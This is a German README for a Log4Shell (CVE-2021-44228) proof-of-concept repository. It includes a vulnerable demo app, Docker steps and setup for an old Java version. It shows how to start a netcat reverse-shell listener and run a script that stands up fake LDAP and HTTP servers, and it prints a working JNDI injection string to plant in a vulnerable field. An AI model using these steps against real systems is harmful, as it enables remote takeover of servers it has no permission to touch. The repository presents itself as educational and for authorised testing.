
Ein Proof-of-Concept für die Sicherheitslücke CVE-2021-44228.
Ein Proof-of-Concept für die kürzlich entdeckte Schwachstelle CVE-2021-44228.
Vor kurzem wurde eine neue Schwachstelle in log4j entdeckt, einer Java-Logging-Bibliothek, die sehr häufig in Bereichen wie Elasticsearch, Minecraft und zahlreichen anderen Anwendungen eingesetzt wird.
In diesem Repository haben wir eine beispielhafte verwundbare Anwendung und einen Proof-of-Concept (POC) Exploit dafür erstellt.
Verwundbare Web-App:
Ghidra (altes Skript):
Minecraft-PoC (altes Skript):
Als PoC haben wir eine Python-Datei erstellt, die den Prozess automatisiert.
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20 heißen und sich im selben Verzeichnis befinden.$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://localhost:1389/a}
Listening on 0.0.0.0:1389
Dieses Skript richtet für dich den HTTP-Server und den LDAP-Server ein und erstellt außerdem das Payload, das du in den verwundbaren Parameter einfügen kannst. Danach solltest du, wenn alles gut gelaufen ist, eine Shell auf dem lport erhalten.
Wir haben ein Dockerfile mit der verwundbaren Web-App hinzugefügt. Du kannst es verwenden, indem du die folgenden Schritte ausführst:
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
Sobald sie läuft, kannst du sie unter localhost:8080 aufrufen.
Wenn du das Projekt weiterentwickeln möchtest, kannst du die Intellij IDE verwenden, die wir für die Entwicklung des Projekts genutzt haben. Wir haben außerdem einen .idea-Ordner mit Konfigurationsdateien beigefügt, die die Arbeit etwas erleichtern. Du kannst wahrscheinlich auch andere IDEs verwenden.
Als wir den Exploit erstellt haben, waren wir uns nicht sicher, welche Java-Versionen genau funktionieren und welche nicht. Wir haben uns daher für eine der frühesten Versionen von Java 8 entschieden: java-8u20.
Oracle stellt dankenswerterweise ein Archiv für alle früheren Java-Versionen bereit:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Scrolle nach unten zu 8u20 und lade die passenden Dateien für dein Betriebssystem und deine Hardware herunter.

Hinweis: Du musst ein Konto erstellen, um das Paket herunterladen zu können.
Sobald du das Archiv heruntergeladen und extrahiert hast, findest du java und einige zugehörige Binärdateien in jdk1.8.0_20/bin.
Hinweis: Bitte extrahiere den jdk-Ordner mit demselben Namen in dieses Repository, damit es funktioniert.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Dieses Repository ist nicht als Ein-Klick-Exploit für CVE-2021-44228 gedacht. Der Zweck dieses Projekts ist es, Menschen zu helfen, diese großartige Schwachstelle kennenzulernen und vielleicht ihre eigenen Anwendungen zu testen (allerdings gibt es bessere Anwendungen für diesen Zweck, z. B.: https://log4shell.tools/).
Unser Team wird keinerlei Nutzung dieses Exploits für böswillige Aktivitäten unterstützen oder befürworten. Wenn du also um Hilfe bittest, müssen wir möglicherweise einen Nachweis verlangen, dass du entweder den Zieldienst besitzt oder die Berechtigung hast, einen Pentest darauf durchzuführen.